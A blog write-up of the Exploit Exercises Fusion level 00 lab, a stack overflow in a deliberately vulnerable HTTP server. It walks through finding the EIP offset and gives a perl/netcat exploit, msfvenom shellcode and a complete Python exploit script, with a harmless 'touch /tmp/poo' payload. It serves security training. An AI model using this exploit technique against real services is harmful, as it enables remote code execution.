Exploit Exercises - Fusion 00

I was very excited to see the announcement on twitter, that Fusion was going to be released, even if it’s just the first 10 levels. I was a bit bummed, as I didn’t think I’d get to work on it much, until I complete PWB, but I managed to find a little time to at least start it. I pulled up level 00, which looks to be a basic stack overflow in an http server.

The code for the server is below:

#include "../common/common.c" 

int fix_path(char *path)
{
 char resolved[128];

 if(realpath(path, resolved) == NULL) return 1; // can't access path. will error trying to open
 strcpy(path, resolved);
}

char *parse_http_request()
{
 char buffer[1024];
 char *path;
 char *q;

 printf("[debug] buffer is at 0x%08x :-)\n", buffer);

 if(read(0, buffer, sizeof(buffer)) <= 0) errx(0, "Failed to read from remote host");
 if(memcmp(buffer, "GET ", 4) != 0) errx(0, "Not a GET request");

 path = &buffer[4];
 q = strchr(path, ' ');
 if(! q) errx(0, "No protocol version specified");
 *q++ = 0;
 if(strncmp(q, "HTTP/1.1", 8) != 0) errx(0, "Invalid protocol");

 fix_path(path);

 printf("trying to access %s\n", path);

 return path;
}

int main(int argc, char **argv, char **envp)
{
 int fd;
 char *p;

 background_process(NAME, UID, GID); 
 fd = serve_forever(PORT);
 set_io(fd);

 parse_http_request(); 
}

I initially had to read through the code a few times to figure out where the overflow was, to be quite honest. When an HTTP request comes in, it goes to the “parse_http_request” method. From there, it reads the buffr in by using the “read” method. Unfortunately for us, it is being careful to only read in as many bytes as it can put into the buffer. It then does some basic handling to parse out the request. It verifies that it was a “GET” request, and that it was done using HTTP/1.1. After that, it will pass the path of the URI to “fix_path”. In this method, there IS an overflow, since the “resolved” variable has 128 bytes to hold data, but there is no checking of size when the “strcpy” is done.

I logged into the machine, and made sure that I could actually get a core dump to be created if the process had an exception. To do this, I changed the core settings for my user:

fusion@fusion:/$ ulimit -c unlimited

Based on my analysis, I knew I would be overflowing the URI path, but based on the note given to me, I would put my shellcode after the “HTTP/1.1” since there was a lot more room. However, I didn’t know the EIP offset. So I generated a quick MSF pattern on another machine:

mandreko@li225-134:/opt/framework-4.0.0/msf3/tools$ ./pattern_create.rb 200
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag

I then started to wire up an exploit like so:

fusion@fusion:/$ perl -e 'print "GET /". "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag" . "\x99\xf9\xff\xbf" . " HTTP/1.1\n" . "\x90"x100 . "\xcc"x100' | nc localhost 20000

Note that the “\x99\xf9\xff\xbf” value was simply guessed by taking the buffer offset (conveniently given to us at runtime) of “0xbffff8f8”, and adding to it enough bytes for the “GET”, the MSF buffer, and the “HTTP/1.1”. I had played previously by hand, and knew how long the buffer would be, so I didn’t need to break this into 2 steps.

After executing the command, I found a handy “core” file in the root directory. So I loaded it up in GDB to get the offset:

fusion@fusion:/$ sudo gdb --core=/core --quiet
[New LWP 2280]
Core was generated by `/opt/fusion/bin/level00'.
Program terminated with signal 11, Segmentation fault.
#0  0x65413665 in ?? ()

Next, I took that EIP value, and ran it through the MSF Pattern Offset calculator:

mandreko@li225-134:/opt/framework-4.0.0/msf3/tools$ ./pattern_offset.rb 0x65413665
139

This was convenient enough to let me know that the first 139 bytes were junk, but then I had direct access to the EIP. If my estimate for a return address was close enough to hit a nop sled, it would then hit the “\xcc” debug/trace point. I then tested that:

fusion@fusion:/$ perl -e 'print "GET /". "A"x139 . "\x99\xf9\xff\xbf" . " HTTP/1.1\n" . "\x90"x100 . "\xcc"x100' | nc localhost 20000

When I loaded the new core file into GDB, I saw that it indeed hit the debug trap:

fusion@fusion:/$ sudo gdb --core=/core --quiet
[New LWP 2310]
Core was generated by `/opt/fusion/bin/level00'.
Program terminated with signal 5, Trace/breakpoint trap.
#0  0xbffff9fb in ?? ()
(gdb) x/10x $eip
0xbffff9fb:     0xcc    0xcc    0xcc    0xcc    0xcc    0xcc    0xcc    0xcc
0xbffffa03:     0xcc    0xcc

The next step was to generate some shellcode. verified that the process was running as a UID of 20000, and not SUID, so I’m guessing at the end result here. The challenge to me was actually getting the exploit to work, so what the shellcode did was not a big event for me. I decided to just make it write a file to /tmp. This could however be adapted to anything else.

I used Metasploit’s MSFVenom tool to generate me some shellcode to “touch /tmp/poo” as a test:

mandreko@li225-134:~$ msfvenom -p linux/x86/exec -f pl CMD="touch /tmp/poo"
my $buf =
"\x6a\x0b\x58\x99\x52\x66\x68\x2d\x63\x89\xe7\x68\x2f\x73" .
"\x68\x00\x68\x2f\x62\x69\x6e\x89\xe3\x52\xe8\x0f\x00\x00" .
"\x00\x74\x6f\x75\x63\x68\x20\x2f\x74\x6d\x70\x2f\x70\x6f" .
"\x6f\x00\x57\x53\x89\xe1\xcd\x80";

I then plugged that shellcode into my exploit:

fusion@fusion:/$ perl -e 'print "GET /". "A"x139 . "\x99\xf9\xff\xbf" . " HTTP/1.1\n" . "\x90"x100 . "\x6a\x0b\x58\x99\x52\x66\x68\x2d\x63\x89\xe7\x68\x2f\x73\x68\x00\x68\x2f\x62\x69\x6e\x89\xe3\x52\xe8\x0f\x00\x00\x00\x74\x6f\x75\x63\x68\x20\x2f\x74\x6d\x70\x2f\x70\x6f\x6f\x00\x57\x53\x89\xe1\xcd\x80"' | nc localhost 20000
[debug] buffer is at 0xbffff8f8 :-)

Lastly, I verified that it did run the shellcode:

fusion@fusion:/$ ls -al /tmp
total 8
drwxrwxrwt  2 root  root  4096 2012-04-09 21:25 .
drwxr-xr-x 22 root  root  4096 2012-04-09 21:22 ..
-rw-r--r--  1 20000 20000    0 2012-04-09 21:25 poo

There you have it, successful exploitation, using very basic methods. This one felt very much like the first day back from summer break, but I’m guessing it’ll get much harder quickly.

UPDATE 5/7/2012: Added python exploit:

# Fusion Level 00
# http://exploit-exercises.com/fusion/level00
# Matt Andreko
# twitter: @mandreko
# contact: matt [at] mattandreko.com

from sys import exit
from struct import pack
from optparse import OptionParser
from socket import *

def exploit(hostname, port):
        junk = "A"*139
        ret = pack("<I", 0xbffff999)
        nops = "\x90"*100
        shellcode = "\x6a\x0b\x58\x99\x52\x66\x68\x2d\x63\x89\xe7\x68\x2f\x73\x68\x00\x68\x2f\x62\x69\x6e\x89\xe3\x52\xe8\x0f\x00\x00\x00\x74\x6f\x75\x63\x68\x20\x2f\x74\x6d\x70\x2f\x70\x6f\x6f\x00\x57\x53\x89\xe1\xcd\x80"

        s = socket(AF_INET, SOCK_STREAM)
        try:
                print "[*] Connecting to %s on port %s" % (hostname, port)
                s.connect((hostname, port))
        except:
                print "[*] Connection error"
                exit(1)

        print s.recv(1024)
        s.send("GET /" + junk + ret + " HTTP/1.1\n" + nops + shellcode)


if __name__ == "__main__":
    parser = OptionParser("usage: %prog [options]")
    parser.add_option("-H", "--host", dest="hostname", default="127.0.0.1",
     type="string", help="Target to run against")
    parser.add_option("-p", "--port", dest="portnum", default=20000,
     type="int", help="Target port")

    (options, args) = parser.parse_args()

    exploit(options.hostname, options.portnum)
comments powered by Disqus